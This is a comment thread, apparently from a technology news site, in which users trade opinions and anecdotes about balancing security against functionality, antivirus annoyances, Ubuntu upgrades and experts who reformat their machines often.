Australia has a culture about being suspicious and progress, new technologies (That aren't the Hills Hoist) and similar.

Because of this, more people have an irrational fear of the Internet. Not so much to do with system security, but more with credit card security, bank security and general detail security.

To the point where, if you try to start an online business in Australia that requires these sorts of transactions, you might find yourself in an EVEN SMALLER market than you thought you were to being with.

Functionality versus security

[nobodymk2]

I rather have functionality than security. I once downloaded Belarc advisor and they added a security rating scale from 1 to 10. I believe it was based on or was a BaCa scale. I had a 3.4. I can only remember three instances where my system being completely compromised, all of which were my fault. Once, I installed a conflicting driver, so I reformatted not knowing exactly what driver to remove (and the Windows self help database just caused my system not to work at all, I removed one too many drivers). Next, a downloaded something manually, Macfee (which I get for free from Comcast) decided to block it when I tried to extract it. I decided to disable Macfee and yet it extract anyway, but turns out it really was a trojan and, ironically, had to use Macfee partially to recover. Finally my brother decided to hold down the enter key on my password window and that locked me out of my account (in a weird way, like, without freezing up and not letting you enter a password). Yet how many more times has security cost me functionality? I've had Macfee corrupt at least three software installations, only one of which was partially my fault (I didn't want Gamespy arcade, but turns out blocking it isn't a good idea), because there is no convenient way to turn it completely off (Norton Internet Security had an "exit" button, this doesn't, and many firewalls never truly shutoff unless you kill the process, which, since it has kernal access and/or another process to keep it alive, cannot ever be completely killed [by me]). Macfee doesn't detect any spyware (tracking cookies) that I get from the advertising on most sites, I have to run regular ad-aware scans (I'm too lazy to buy it). The comcast version of Macfee doesn't make its adblocking (if they include it, every time I download it it's different) completely obvious in the options (which I always check to make sure it isn't going to screw things up) and it has blocked several of my online applications that I use and yet left most of the ads there. Possibly due to firewall problems, I haven't been able to get my new FTP to work externally. I have never lost complete system functionality on my new system due to badware. Apart from tracking cookies on the ads that I haven't blocked with ad-block plus or added to the cookie block list I never get any spyware (at least spyware that shows up in routine scans). All my other family members, including one with a Mac, have had serious problems with their computers that could not directly be related to hardware or drivers. I install anti-badware applications on all the computers, and, for the most part, they update automatically (although they must use the dedicated anti-spyware program manually, which I instruct them to do). So perhaps any rating of security based on system settings is mostly irrelevant. It depends on how safely and wisely you choose to use the internet (and how you clean up if you don't use it safely).

Ubuntu people don't reinstall every six months....

[felixdzerzhinsky]

...they sudo apt-get upgrade && sudo apt-get dist-upgrade

Correction

[The Cisco Kid]

"More than half of *Windows* users who think ...."

The fact that media, including jouranlists, seem to think that Windows == Computer (or PC) is a testament to the sorry monopolized state of the technology sector.

Wiping

[Beryllium Sphere(tm)]

I went to a security get-together with Dan Kaminsky, Damon Cortesi, and Jason Larsen, and during the panel discussion asked what they were doing to protect their own systems. I forget which one said it, but one of the replies was that the person reformatted often.

Which strikes me as the counsel of despair, but in a world of stealthy malware where you can get infected by simply viewing a video, I can't bring myself to say it's absurd.